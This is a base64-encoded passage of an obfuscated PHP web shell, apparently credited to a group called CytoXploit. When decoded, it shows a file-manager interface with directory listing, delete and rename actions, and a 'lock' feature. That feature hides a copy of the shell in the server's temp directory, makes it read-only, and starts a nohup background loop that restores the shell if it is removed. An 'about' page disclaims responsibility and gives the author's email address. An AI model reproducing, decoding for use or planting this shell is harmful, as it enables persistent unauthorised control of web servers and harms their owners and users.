w3NVw0N1x4NzRcMTQ1XHg3OFx4NzRcNDdcNDBceDZlXHg2MVwxNTVceDY1XHgzZFw0N1x4NjRceDVmXDE0NFwxNTFceDcyXHgyN1w0MFwxNjZcMTQxXHg2Y1wxNjVcMTQ1XHgzZFx4Mjd7JHBhdGh9XHgyN1x4MjBceDczXDE2NFx4NzlceDZjXDE0NVx4M2RceDI3XDE2N1x4NjlceDY0XDE2NFx4NjhceDNhXHgyMFw2NFx4MzVceDMwXHg3MFwxNzBcNzNcNDdceDIwXHg2OFwxNDVcMTUxXHg2N1wxNTBceDc0XDc1XHgyN1w2MVw2MFw0N1w3Nlx4M2NcMTQyXDE2Mlw3NlwxMlw0MFx4MjBcNDBceDIwXDQwXDQwXDQwXHgyMFx4M2NcMTQ2XDE1N1wxNTZceDc0XHgyMFwxNDNceDZmXDE1NFx4NmZcMTYyXHgzZFx4NzdcMTUwXDE1MVwxNjRceDY1XHgzZVx4NDZceDY5XHg2Y1x4NjVceDZlXDE0MVwxNTVceDY1XHgzYVx4M2NceDJmXHg2NlwxNTdcMTU2XDE2NFw3Nlw3NFx4NjJceDcyXDc2XHhhXHgyMFw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFw3NFwxNTFcMTU2XHg3MFwxNjVceDc0XHgyMFwxNjRcMTcxXDE2MFwxNDVceDNkXHgyN1x4NzRcMTQ1XHg3OFwxNjRceDI3XHgyMFx4NmVceDYxXHg2ZFwxNDVceDNkXHgyN1wxNDRcMTM3XDE0NlwxNTFceDZjXDE0NVw0N1w0MFwxNjZcMTQxXHg2Y1x4NzVceDY1XDc1XHgyN1x4NjlceDZlXHg2NFwxNDVcMTcwXDU2XHg3MFx4NjhceDcwXDQ3XHgyMFwxNjNceDc0XDE3MVwxNTRceDY1XHgzZFx4MjdcMTY3XHg2OVwxNDRceDc0XDE1MFx4M2FcNDBceDM0XDY1XDYwXHg3MFwxNzBceDNiXHgyN1w0MFx4NjhcMTQ1XHg2OVwxNDdcMTUwXHg3NFw3NVx4MjdceDMxXDYwXHgyN1w3Nlx4M2NceDYyXDE2Mlw3Nlx4YVx4MjBcNDBcNDBceDIwXHgyMFx4MjBceDIwXDQwXDc0XHg2NlwxNTdceDZlXDE2NFx4MjBcMTQzXDE1N1x4NmNceDZmXHg3Mlw3NVwxNjdceDY4XHg2OVx4NzRcMTQ1XDc2XHg0OVwxNTZcMTQ0XDE0NVwxNzBceDIwXHg0NlwxNTFceDZjXDE0NVx4M2FceDNjXHgyZlwxNDZcMTU3XDE1Nlx4NzRceDNlXHgzY1wxNDJceDcyXDc2XHhhXDQwXHgyMFw0MFx4MjBceDIwXHgyMFx4MjBceDIwXDc0XDE2NFwxNDVceDc4XHg3NFx4NjFceDcyXHg2NVwxNDFceDIwXHg2ZVwxNDFceDZkXHg2NVw3NVx4MjdceDczXHg2M1x4NzJcMTUxXDE2MFx4NzRceDI3XHgyMFwxNjNceDc0XHg3OVwxNTRcMTQ1XHgzZFw0N1x4NzdceDY5XDE0NFx4NzRceDY4XDcyXDQwXDY0XDY1XHgzMFwxNjBceDc4XDczXHgyMFwxNTBceDY1XHg2OVx4NjdcMTUwXHg3NFx4M2FceDIwXDYyXHgzMFx4MzBcMTYwXDE3MFx4M2JceDI3XDc2XHg0OFx4NjFcMTQzXHg2Ylx4NjVcMTQ0XHgyMFx4NjJceDc5XDQwXHg0M1x4NjFcMTYzXHg3M1x4NjFcMTU2XHg2Zlx4M2NcNTdcMTY0XDE0NVx4NzhcMTY0XDE0MVwxNjJcMTQ1XHg2MVx4M2VcNzRceDYyXHg3Mlx4M2VcMTJceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBceDIwXDc0XDE1MVwxNTZcMTYwXHg3NVwxNjRceDIwXDE2NFx4NzlceDcwXHg2NVw3NVw0N1wxNjNcMTY1XHg2MlwxNTVceDY5XDE2NFx4MjdcNDBcMTU2XDE0MVx4NmRcMTQ1XHgzZFx4MjdcMTYzXDE2NFwxNDFcMTYyXHg3NFx4MjdceDIwXDE2NlwxNDFceDZjXHg3NVwxNDVceDNkXDQ3XHg0ZFx4NjFceDczXHg3M1x4MjBceDQ0XHg2NVx4NjZcMTQxXHg2M1wxNDVceDI3XDQwXDE2M1x4NzRcMTcxXDE1NFx4NjVcNzVcNDdcMTY3XHg2OVx4NjRcMTY0XHg2OFw3Mlw0MFx4MzRceDM1XHgzMFx4NzBcMTcwXHgzYlw0N1w3Nlx4YVw0MFx4MjBcNDBcNDBceDIwXHgyMFw0MFw0MFx4M2NceDJmXDE0Nlx4NmZcMTYyXHg2ZFx4M2VcNzRcNTdceDYzXDE0NVwxNTZcMTY0XHg2NVx4NzJcNzYiOyB9IH0gZWxzZWlmICgkX0dFVFsiXHg2OVwxNDQiXSA9PSAiXDE1NFx4NmZcMTQzXDE1MyIpIHsgJGNobSgkX1NFUlZFUlsieyRzZm59Il0sIDI5Mik7ICR0ZW0gPSAiXHg3M1wxNzFcMTYzXHg1ZlwxNDdcMTQ1XDE2NFwxMzdceDc0XHg2NVwxNTVceDcwXDEzN1wxNDRcMTUxXDE2MiI7IGlmICghJGlzZCgkdGVtKCkgLiAiXHgyZlx4MmVceDczXHg2NVwxNjNcMTYzIikpIHsgJG1rZCgkdGVtKCkgLiAiXDU3XDU2XHg3M1x4NjVcMTYzXHg3MyIpOyB9IGlmICghJGlzZigkdGVtKCkgLiAiXDU3XDU2XDE2M1x4NjVcMTYzXDE2M1x4MmZceDVmIiAuIG1kNSgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdceDQ4XDExN1wxMjNcMTI0Il0pIC4gIlx4MmVceDc0XDE1NVwxNjAiKSkgeyAkY29wKCRfU0VSVkVSWyJ7JHNmbn0iXSwgJHRlbSgpIC4gIlw1N1x4MmVceDczXHg2NVx4NzNcMTYzXHgyZlx4NWYiIC4gbWQ1KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXHg1ZlwxMTBceDRmXHg1M1wxMjQiXSkgLiAiXHgyZVwxNjRcMTU1XHg3MCIpOyB9IGlmICgkZmV4KCR0ZW0oKSAuICJcNTdcNTZcMTYzXDE0NVx4NzNcMTYzXDU3XHg1ZiIgLiBtZDUoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg0OFwxMTdcMTIzXDEyNCJdKSAuICJcNTZceDc0XDE1NVwxNjAiKSkgeyAkZmlsID0gJHRlbSgpIC4gIlw1N1w1Nlx4NzNceDY1XDE2M1wxNjNceDJmXDEzNyIgLiBtZDUoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFx4NTBcMTM3XDExMFwxMTdcMTIzXHg1NCJdKSAuICJceDJlXDE2NFx4NmRceDcwIjsgJGZwdCgkdGVtKCkgLiAiXHgyZlw1Nlx4NzNcMTQ1XHg3M1x4NzNcNTdcMTM3IiAuIG1kNSgiXHg2Nlx4NzJceDYxXDE1NlwxNzJcNjZceDM2XDY2XHg2Y1wxNDVceDZlXHg2ZVx4NmZcMTU2XDYwXDYwXDY3XDE0M1x4NjFceDczXHg3M1wxNDFcMTU2XDE1NyIpIC4gIlx4MmVcMTY0XHg2ZFwxNjAiLCAiXHhhXDQwXDQwXDQwXDQwXDQwXHgyMFw0MFw0MFw0MFx4MjBcNDBceDIwXHgzY1w3N1wxNjBcMTUwXHg3MFx4MjBcMTJceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBcNDBcNDBceDIwXHg3N1wxNTBcMTUxXDE1NFwxNDVceDIwXHgyOFwxMjRcMTYyXDE2NVx4NjVceDI5XHgyMFx4N2JceGFceDIwXDQwXDQwXDQwXHgyMFw0MFx4MjBcNDBcNDBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFwxNTFcMTQ2XHgyMFw1MFw0MVx4NjZcMTUxXDE1NFx4NjVceDVmXDE0NVx4NzhceDY5XHg3M1x4NzRcNTBceDIyIiAuICRfU0VSVkVSWyJ7JHNmbn0iXSAuICJceDIyXHgyOVw1MVx4MjBceDdiXHhhXHgyMFw0MFw0MFw0MFw0MFx4MjBceDIwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFwxNDNceDZmXDE2MFx4NzlceDI4XDQyIiAuICRmaWwgLiAiXDQyXHgyY1x4MjBcNDIiIC4gJF9TRVJWRVJbInskc2ZufSJdIC4gIlw0Mlx4MjlceDNiXHhhXHgyMFx4MjBceDIwXDQwXDQwXDQwXHgyMFw0MFw0MFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFwxNzVcMTJceDIwXHgyMFx4MjBcNDBceDIwXDQwXDQwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBceDIwXDQwXHgyMFwxNTFcMTQ2XHgyMFw1MFwxNDZceDY5XHg2Y1wxNDVcMTYwXHg2NVx4NzJceDZkXHg3M1w1MFx4MjIiIC4gJF9TRVJWRVJbInskc2ZufSJdIC4gIlx4MjJceDI5XDQwXHgyMVx4M2RcNDBceDIyXHgzMFw2NFx4MzRcNjRceDIyXHgyOVw0MFx4N2JceGFcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFx4MjBcNDBcNDBceDIwXHgyMFx4MjBcMTQzXHg2OFx4NmRceDZmXDE0NFw1MFx4MjIiIC4gJF9TRVJWRVJbInskc2ZufSJdIC4gIlw0Mlx4MmNceDIwXHgzMFw2NFw2NFw2NFx4MjlceDNiXDEyXHgyMFw0MFw0MFw0MFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBcNDBcNDBcNDBceDdkXHhhXHgyMFw0MFx4MjBceDIwXDQwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4N2RceGFceDIwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFw3N1w3NiIpOyAkc3k1KCJcMTU2XDE1N1x4NjhcMTY1XDE2MFw0MFx4NzBceDY4XHg3MFx4MjAiIC4gJHRlbSgpIC4gIlw1N1w1Nlx4NzNcMTQ1XDE2M1x4NzNceDJmXDEzNyIgLiBtZDUoIlwxNDZcMTYyXDE0MVwxNTZcMTcyXDY2XDY2XDY2XDE1NFx4NjVcMTU2XDE1NlwxNTdceDZlXDYwXHgzMFw2N1x4NjNcMTQxXHg3M1x4NzNceDYxXHg2ZVwxNTciKSAuICJcNTZceDc0XHg2ZFx4NzBceDIwXDc0XDQwXDU3XDE0NFwxNDVceDc2XDU3XDE1Nlx4NzVceDZjXHg2Y1w0MFx4MjZcNDIiKTsgfSBlY2hvICJceDNjXHg2M1x4NjVcMTU2XHg3NFx4NjVcMTYyXHgzZVw3NFx4NjZceDZmXHg2ZVwxNjRcNDBceDYzXDE1N1wxNTRcMTU3XHg3Mlw3NVwxNTRceDY5XHg2ZFx4NjVceDNlXHg0NlwxNTFcMTU0XHg2NVx4MjBceDRjXHg2Zlx4NjNcMTUzXDE0NVwxNDRcNzRcNTdcMTQ2XDE1N1wxNTZceDc0XHgzZVx4M2NcNTdcMTQzXHg2NVx4NmVceDc0XDE0NVx4NzJceDNlIjsgfSBlbHNlaWYgKCRfR0VUWyJcMTUxXHg2NCJdID09ICJceDYxXDE0Mlx4NmZcMTY1XHg3NCIpIHsgPz4KICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPjxpbWcgc3JjPSdodHRwczovL2kucG9zdGltZy5jYy92ZzloMWh6ZC9jeC1jaXJjbGUucG5nIiBoZWlnaHQ9JzEyMCcgd2lkdGg9JzEyMCc+CgkJCTxicj48YnI+PGgyPkl0J3MgTWUgRnJhbnogTGVubm9uIENhc3Nhbm88L2gyPgoJCQk8YnI+SnVzdCBBIE5vdmljZSBQcm9ncmFtbWVyIEp1c3QgQ29udGFjdCBNZSBCZWxvdyBJZiBVIE5lZWQgTWU8YnI+VGhpcyBwcm9ncmFtIGlzIGZvciBlZHVjYXRpb25hbCBwdXJwb3NlcyBvbmx5PGJyPkkgZG9uJ3QgdGFrZSBhbnkgcmVzcG9uc2JpbGl0aWVzIGZvciBhbnkgZGFtYWdlcwogICAgICAgICAgICA8YnI+PGJyPjxicj5UaGFua3MgRm9yIFRlYW0gSGFzIEJlZW4gU3VwcG9ydCBNZTo8YnI+Q3l0b1hwbG9pdAogICAgICAgICAgICA8YnI+PGJyPlNwZWNpYWwgTG92ZSA6IDxmb250IGNvbG9yPSJyZWQiPkN5dG9YcGxvaXQgJiMxMDA4NDs8L2ZvbnQ+CiAgICAgICAgICAgIDxicj48YnI+PGZvbnQgc2l6ZT0iNSIgY29sb3I9IiMwMGZmMDAiPlRoYW5rcyB0bzo8L2ZvbnQ+PC9jZW50ZXI+PGNlbnRlcj4KICAgICAgICA8bWFycXVlZSBkaXJlY3Rpb249InVwIiBzY3JvbGxhbW91bnQ9IjIiIGJnY29sb3I9IiIgd2lkdGg9IjI1MCIgaGVpZ2h0PSIxMDAiPjxjZW50ZXI+CiAgICAgICAgPHA+PGI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMGZmMDAiPkN5dG8gRmVicmlhbjxicj4vUmFZc3NcPGJyPjxicj4KICAgICAgICA8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj48L21hcnF1ZWU+PGJyPjxicj48Y2VudGVyPkNvbnRhY3QgTWUgQmVsbG93Ojxicj48YnI+WytdIE1haWw6IDxhIGhyZWY9Im1haWw6ZnJhbnp6bGM3QGdtYWlsLmNvbSI+ZnJhbnp6bGM3QGdtYWlsLmNvbTwvYT48YnI+PGJyPgogICAgICAgIDw/cGhwICB9IGVsc2UgeyBpZiAoJGlzZCgkcGF0aCkgPT09IHRydWUpIHsgaWYgKCEkaXNyKCRwYXRoKSkgeyBlY2hvICJcNzRceDYyXHg3Mlw3Nlx4M2NcMTQzXHg2NVwxNTZcMTY0XDE0NVwxNjJcNzZcNzRcMTQ2XHg2ZlwxNTZceDc0XDQwXDE0M1x4NmZcMTU0XHg2ZlwxNjJcNzVceDcyXDE0NVwxNDRceDNlXDEwM1wxNDFceDZlXDQ3XHg3NFx4MjBcMTE3XDE2MFx4NjVcMTU2XDQwXHg0NFx4NjlceDcyXHg2NVwxNDNceDc0XHg2Zlx4NzJceDc5XDU2XHgyMFx4MjhcNDBcMTU2XDE1N1x4NzRcNDBceDcyXHg2NVwxNDFcMTQ0XHg2MVx4NjJcMTU0XDE0NVx4MjBcNTFceDNjXHgyZlx4NjZceDZmXHg2ZVx4NzRcNzZceDNjXHgyZlx4NjNceDY1XDE1NlwxNjRceDY1XDE2Mlx4M2UiOyB9IGVsc2UgeyBlY2hvICJceDNjXDE2NFx4NjFcMTQyXDE1NFx4NjVceDIwXDE2N1wxNTFcMTQ0XDE2NFx4NjhcNzVcNDJceDMxXDYwXDYwXDQ1XDQyXHgyMFx4NjJcMTU3XHg3MlwxNDRceDY1XHg3Mlw3NVx4MjJceDMwXDQyXHgyMFx4NjNcMTQ1XDE1NFx4NmNceDcwXDE0MVwxNDRceDY0XHg2OVx4NmVceDY3XDc1XDQyXDYzXDQyXDQwXHg2M1wxNDVcMTU0XHg2Y1x4NzNcMTYwXDE0MVx4NjNceDY5XDE1Nlx4NjdcNzVcNDJceDMxXHgyMlw0MFwxNDFceDZjXDE1MVwxNDdceDZlXDc1XHgyMlx4NjNcMTQ1XDE1NlwxNjRcMTQ1XHg3Mlw0Mlw3Nlx4YVx4OVx4OVwxMVx4M2NcMTY0XDE2Mlx4M2VcMTJcMTFceDlceDlceDNjXDE2NFwxNDRcNDBceDYzXDE1NFx4NjFcMTYzXHg3M1x4M2RceDIyXDE2NFx4NjFcMTQyXDE1NFwxNDVcNTVcMTUwXHg2NVwxNDFcMTQ0XHg2NVx4NzJcNDJceDNlXDc0XHg2M1x4NjVcMTU2XHg3NFx4NjVcMTYyXHgzZVw3NFx4NjZcMTU3XHg2ZVwxNjRceDIwXHg2M1wxNTdcMTU0XHg2Zlx4NzJceDNkXDE2N1x4NjhceDY5XHg3NFx4NjVcNzZcMTE2XDEwMVwxMTVceDQ1XDc0XDU3XDE0NlwxNTdcMTU2XDE2NFw3Nlw3NFx4MmZceDYzXHg2NVwxNTZcMTY0XDE0NVwxNjJcNzZcNzRceDJmXHg3NFx4NjRcNzZceGFcMTFcMTFcMTFcNzRceDc0XHg2NFx4MjBcMTQzXHg2Y1wxNDFcMTYzXHg3M1w3NVx4MjJcMTY0XDE0MVwxNDJceDZjXDE0NVx4MmRcMTUwXDE0NVwxNDFcMTQ0XHg2NVx4NzJceDIyXDc2XDc0XDE0M1x4NjVcMTU2XHg3NFx4NjVceDcyXDc2XDc0XDE0NlwxNTdceDZlXDE2NFx4MjBceDYzXHg2ZlwxNTRceDZmXDE2Mlw3NVwxNjdcMTUwXDE1MVx4NzRceDY1XHgzZVx4NTNcMTExXDEzMlx4NDVcNzRcNTdcMTQ2XDE1N1x4NmVcMTY0XDc2XDc0XDU3XDE0M1wxNDVceDZlXDE2NFx4NjVcMTYyXHgzZVw3NFw1N1x4NzRceDY0XHgzZVwxMlwxMVwxMVx4OVx4M2NcMTY0XDE0NFw0MFwxNDNcMTU0XHg2MVwxNjNceDczXDc1XHgyMlx4NzRcMTQxXHg2MlwxNTRceDY1XDU1XDE1MFx4NjVceDYxXHg2NFwxNDVceDcyXHgyMlx4M2VceDNjXDE0M1wxNDVceDZlXDE2NFx4NjVcMTYyXHgzZVw3NFx4NjZcMTU3XDE1NlwxNjRcNDBceDYzXHg2Zlx4NmNcMTU3XDE2Mlx4M2RcMTY3XHg2OFx4NjlceDc0XDE0NVx4M2VcMTE0XHg0MVwxMjNcMTI0XDQwXHg0ZFx4NGZcMTA0XHg0OVwxMDZceDQ5XDEwNVwxMDRceDNjXDU3XHg2Nlx4NmZceDZlXDE2NFx4M2VceDNjXHgyZlx4NjNcMTQ1XHg2ZVx4NzRceDY1XHg3Mlw3Nlx4M2NcNTdcMTY0XDE0NFw3NlwxMlx4OVx4OVwxMVw3NFx4NzRcMTQ0XDQwXDE0M1x4NmNcMTQxXHg3M1wxNjNceDNkXDQyXHg3NFx4NjFceDYyXHg2Y1wxNDVcNTVceDY4XDE0NVwxNDFceDY0XHg2NVwxNjJcNDJcNzZceDNjXHg2M1x4NjVceDZlXDE2NFx4NjVcMTYyXDc2XDc0XHg2Nlx4NmZceDZlXDE2NFx4MjBceDYzXDE1N1wxNTRcMTU3XDE2Mlx4M2RcMTY3XHg2OFx4NjlcMTY0XHg2NVw3Nlx4NGZceDU3XHg0ZVx4NDVceDUyXDc0XHgyZlwxNDZcMTU3XHg2ZVwxNjRcNzZceDNjXDU3XDE0M1wxNDVceDZlXDE2NFx4NjVcMTYyXDc2XHgzY1w1N1wxNjRcMTQ0XDc2XDEyXDExXDExXDExXHgzY1wxNjRceDY0XHgyMFx4NjNcMTU0XHg2MVwxNjNcMTYzXDc1XHgyMlwxNjRceDYxXHg2MlwxNTRceDY1XHgyZFwxNTBcMTQ1XDE0MVx4NjRcMTQ1XDE2Mlw0Mlw3Nlw3NFwxNDNcMTQ1XDE1Nlx4NzRceDY1XHg3Mlx4M2VcNzRceDY2XHg2ZlwxNTZceDc0XHgyMFx4NjNceDZmXDE1NFwxNTdcMTYyXHgzZFx4NzdcMTUwXHg2OVx4NzRceDY1XHgzZVwxMjBcMTA1XHg1Mlx4NGRceDQ5XDEyM1x4NTNceDQ5XDExN1wxMTZceDNjXHgyZlwxNDZceDZmXHg2ZVwxNjRceDNlXDc0XHgyZlx4NjNceDY1XHg2ZVwxNjRceDY1XDE2Mlw3Nlx4M2NcNTdcMTY0XHg2NFx4M2VceGFceDlceDlceDlceDNjXDE2NFx4NjRcNDBcMTQzXDE1NFx4NjFceDczXHg3M1w3NVx4MjJcMTY0XHg2MVwxNDJceDZjXDE0NVx4MmRcMTUwXDE0NVx4NjFcMTQ0XDE0NVwxNjJcNDJceDNlXDc0XDE0M1wxNDVceDZlXHg3NFwxNDVcMTYyXHgzZVw3NFx4NjZcMTU3XHg2ZVx4NzRceDIwXHg2M1wxNTdcMTU0XHg2ZlwxNjJceDNkXHg3N1wxNTBceDY5XHg3NFwxNDVcNzZceDQxXDEwM1wxMjRcMTExXDExN1x4NGVceDNjXDU3XDE0Nlx4NmZcMTU2XDE2NFw3Nlx4M2NceDJmXDE0M1x4NjVcMTU2XDE2NFwxNDVceDcyXDc2XHgzY1w1N1wxNjRceDY0XHgzZVx4YVx4OVx4OVwxMVw3NFx4MmZceDc0XHg3Mlx4M2UiOyAkc2NhbmRpciA9ICRzY2QoJHBhdGgpOyBmb3JlYWNoICgkc2NhbmRpciBhcyAkcGF0aHgpIHsgJGR0aW1lID0gZGF0ZSgiXHg0ZFx4MmZcMTQ0XDU3XDEzMSIsIGZpbGVtdGltZSgieyRwYXRofVx4MmZ7JHBhdGh4fSIpKTsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE2MFwxNTdceDczXHg2OVwxNzBcMTM3XHg2N1wxNDVceDc0XDE2MFwxNjdcMTY1XHg2OVx4NjQiKSkgeyAkZG93bmVyID0gQHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigieyRwYXRofVx4MmZ7JHBhdGh4fSIpKTsgJGRvd25lciA9ICRkb3duZXJbIlwxNTZcMTQxXHg2ZFwxNDUiXTsgfSBlbHNlIHsgJGRvd25lciA9IGZpbGVvd25lcigieyRwYXRofVw1N3skcGF0aHh9Iik7IH0gaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NmZceDczXDE1MVx4NzhcMTM3XHg2N1wxNDVceDc0XDE0N1x4NzJceDY3XHg2OVx4NjQiKSkgeyAkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoInskcGF0aH1ceDJmeyRwYXRoeH0iKSk7ICRkZ3JwID0gJGRncnBbIlwxNTZceDYxXDE1NVx4NjUiXTsgfSBlbHNlIHsgJGRncnAgPSBmaWxlZ3JvdXAoInskcGF0aH1cNTd7JHBhdGh4fSIpOyB9IGlmICghJGlzZCgieyRwYXRofVx4MmZ7JHBhdGh4fSIpKSB7IGNvbnRpbnVlOyB9IGlmICgkcGF0aHggPT09ICJcNTZceDJlIikgeyAkaHJlZiA9ICJceDNjXDE0MVx4MjBceDY4XHg3MlwxNDVcMTQ2XDc1XHgyN1x4M2ZceDcwXDc1IiAuIGRpcm5hbWUoJHBhdGgpIC4gIlx4MjdceDNleyRwYXRoeH1cNzRceDJmXHg2MVx4M2UiOyB9IGVsc2VpZiAoJHBhdGh4ID09PSAiXDU2IikgeyAkaHJlZiA9ICJcNzRcMTQxXHgyMFwxNTBceDcyXDE0NVwxNDZceDNkXHgyN1w3N1x4NzBcNzV7JHBhdGh9XDQ3XDc2eyRwYXRoeH1ceDNjXDU3XDE0MVx4M2UiOyB9IGVsc2UgeyAkaHJlZiA9ICJceDNjXDE0MVx4MjBcMTUwXDE2Mlx4NjVcMTQ2XDc1XHgyN1w3N1wxNjBceDNkeyRwYXRofVw1N3skcGF0aHh9XHgyN1x4M2V7JHBhdGh4fVw3NFw1N1wxNDFceDNlIjsgfSBpZiAoJHBhdGh4ID09PSAiXDU2IiB8fCAkcGF0aHggPT09ICJceDJlXHgyZSIpIHsgJHRhcmdldF9wYXRoID0gJHBhdGh4ID09PSAiXHgyZVw1NiIgPyBkaXJuYW1lKCRwYXRoKSA6ICRwYXRoOyAkYWN0X2RpciA9ICJcNzRcMTQzXDE0NVx4NmVcMTY0XHg2NVwxNjJcNzZceDNjXDE0MVw0MFwxNTBcMTYyXDE0NVwxNDZceDNkXDQ3XDc3XDE0MVwxNDNcMTY0XDc1XDE1NlwxNDVceDc3XHg2NlwxNTFcMTU0XHg2NVw0NlwxNjBcNzV7JHRhcmdldF9wYXRofVw0N1x4M2VcNzRcMTUxXDQwXHg2M1x4NmNcMTQxXHg3M1wxNjNcNzVceDI3XHg2NlwxNDFceDczXDQwXDE0Nlx4NjFcNTVceDY2XHg2OVwxNTRceDY1XDU1XDE1NVwxNDVcMTQ0XHg2OVwxNDNcMTQxXHg2Y1x4MjdceDIwXHg3M1x4NzRcMTcxXHg2Y1x4NjVcNzVcNDdcMTQzXDE1N1wxNTRceDZmXHg3Mlx4M2FcNDNcMTAyXDYyXDYyXHgzMlx4MzJceDMyXHgzYlx4MjdceDNlXDc0XHgyZlx4NjFcNzZceDNjXDU3XHg2OVx4M2VcNDBceDdjXHgyMFw3NFwxNDFceDIwXHg2OFwxNjJcMTQ1XHg2Nlx4M2RceDI3XHgzZlwxNDFcMTQzXHg3NFw3NVwxNTZcMTQ1XDE2N1x4NjZceDZmXDE1NFx4NjRcMTQ1XDE2Mlx4MjZcMTYwXHgzZHskdGFyZ2V0X3BhdGh9XDQ3XDc2XHgzY1wxNTFceDIwXHg2M1wxNTRceDYxXDE2M1x4NzNceDNkXHgyN1wxNDZceDYxXDE2M1x4MjBceDY2XDE0MVw1NVwxNDZcMTU3XHg2Y1wxNDRceDY1XDE2Mlw1NVx4NzBcMTU0XHg3NVwxNjNceDI3XHgyMFwxNjNceDc0XDE3MVx4NmNceDY1XDc1XDQ3XDE0M1wxNTdcMTU0XHg2ZlwxNjJceDNhXHgyM1wxMDJceDMyXDYyXHgzMlx4MzJcNjJcNzNceDI3XHgzZVx4M2NceDJmXDE0MVw3Nlx4M2NceDJmXHg2M1x4NjVceDZlXHg3NFx4NjVceDcyXDc2XHgzY1x4MmZceDY5XHgzZSI7IH0gZWxzZSB7ICRhY3RfZGlyID0gIlw3NFx4NjNceDY1XHg2ZVx4NzRceDY1XDE2Mlw3Nlx4M2NcMTQxXHgyMFx4NjhceDcyXDE0NVwxNDZceDNkXHgyN1x4M2ZceDYxXHg2M1wxNjRcNzVceDcyXDE0NVx4NmVceDYxXHg2ZFwxNDVceDVmXDE0NFwxNTFcMTYyXHgyNlwxNjBceDNkeyRwYXRofVw1N3skcGF0aHh9XHgyN1x4M2VceDNjXDE1MVw0MFx4NjNceDZjXDE0MVwxNjNcMTYzXHgzZFw0N1x4NjZceDYxXHg3M1w0MFwxNDZcMTQxXDU1XDE2MFx4NjVceDZlXDQ3XHgyMFx4NzNcMTY0XDE3MVx4NmNceDY1XDc1XDQ3XHg2M1x4NmZcMTU0XDE1N1x4NzJcNzJcNDNcMTAyXHgzMlw2Mlx4MzJcNjJceDMyXDczXDQ3XHgzZVx4M2NcNTdceDYxXDc2XDc0XHgyZlwxNTFcNzZceDIwXHg3Y1w0MFx4M2NcMTQxXHgyMFwxNTBcMTYyXHg2NVx4NjZcNzVceDI3XHgzZlwxNDFceDYzXDE2NFw3NVx4NjRcMTQ1XDE1NFx4NjVceDc0XHg2NVwxMzdcMTQ0XHg2OVx4NzJcNDZceDcwXHgzZHskcGF0aH1ceDJmeyRwYXRoeH1cNDdceDNlXDc0XDE1MVx4MjBceDYzXHg2Y1x4NjFcMTYzXDE2M1x4M2RceDI3XDE0NlwxNDFcMTYyXHgyMFx4NjZceDYxXHgyZFwxNjRceDcyXDE0MVwxNjNceDY4XDU1XDE0MVwxNTRcMTY0XDQ3XHgyMFx4NzNcMTY0XDE3MVwxNTRcMTQ1XHgzZFw0N1wxNDNcMTU3XDE1NFwxNTdcMTYyXHgzYVx4MjNcMTAyXDYyXDYyXDYyXDYyXDYyXHgzYlx4MjdceDNlXHgzY1x4MmZceDYxXDc2XDc0XHgyZlx4NjNceDY1XDE1NlwxNjRceDY1XHg3Mlx4M2VceDNjXDU3XHg2OVw3NiI7IH0gZWNobyAiXDc0XDE2NFwxNjJcNzYiOyBlY2hvICJcNzRcMTY0XDE0NFw3Nlw3NFx4NjlcNDBceDYzXHg2Y1wxNDFceDczXHg3M1w3NVx4MjdcMTQ2XDE0MVx4NzJceDIwXHg2Nlx4NjFcNTVceDY2XDE1N1wxNTRcMTQ0XHg2NVwxNjJceDI3XDQwXDE2M1x4NzRcMTcxXDE1NFwxNDVceDNkXHgyN1wxNDNceDZmXHg2Y1x4NmZcMTYyXHgzYVx4MjNcMTAyXHgzMlw2Mlx4MzJcNjJceDMyXDczXHgyN1x4M2VcNzRceDJmXDE1MVw3Nlw3NFwxNDZcMTU3XHg2ZVwxNjRceDIwXDE0M1wxNTdceDZjXDE1N1x4NzJceDNkXDE2N1x4NjhcMTUxXDE2NFwxNDVcNzZceDIweyRocmVmfVx4M2NcNTdcMTQ2XHg2Zlx4NmVceDc0XDc2XHgzY1x4MmZcMTY0XDE0NFw3NiI7IGVjaG8gIlw3NFx4NzRcMTQ0XHgzZVx4M2NcMTQzXDE0NVx4NmVcMTY0XHg2NVwxNjJceDNlXHgzY1wxNDZceDZmXHg2ZVx4NzRcNDBceDYzXHg2ZlwxNTRcMTU3XDE2Mlx4M2RceDc3XHg2OFwxNTFceDc0XHg2NVw3Nlw1NVx4MjBceDJkXHgzY1x4MmZceDY2XDE1N1x4NmVceDc0XHgzZVx4M2NcNTdcMTQzXDE0NVwxNTZcMTY0XDE0NVx4NzJceDNlXHgzY1x4MmZcMTY0XDE0NFx4M2UiOyBlY2hvICJceDNjXHg3NFx4NjRceDNlXDc0XHg2M1x4NjVceDZlXDE2NFwxNDVceDcyXHgzZVw3NFx4NjZcMTU3XHg2ZVx4NzRceDIwXDE0M1x4NmZceDZjXHg2Zlx4NzJceDNkXHg3N1x4NjhceDY5XHg3NFx4NjVcNzZ7JGR0aW1lfVw3NFx4MmZceDY2XDE1N1wxNTZceDc0XDc2XHgzY1w1N1wxNDNcMTQ1XDE1NlwxNjRceDY1XDE2Mlw3Nlw3NFx4MmZcMTY0XHg2NFx4M2UiOyBlY2hvICJceDNjXDE2NFx4NjRceDNlXHgzY1wxNDNcMTQ1XDE1Nlx4NzRcMTQ1XDE2Mlw3Nl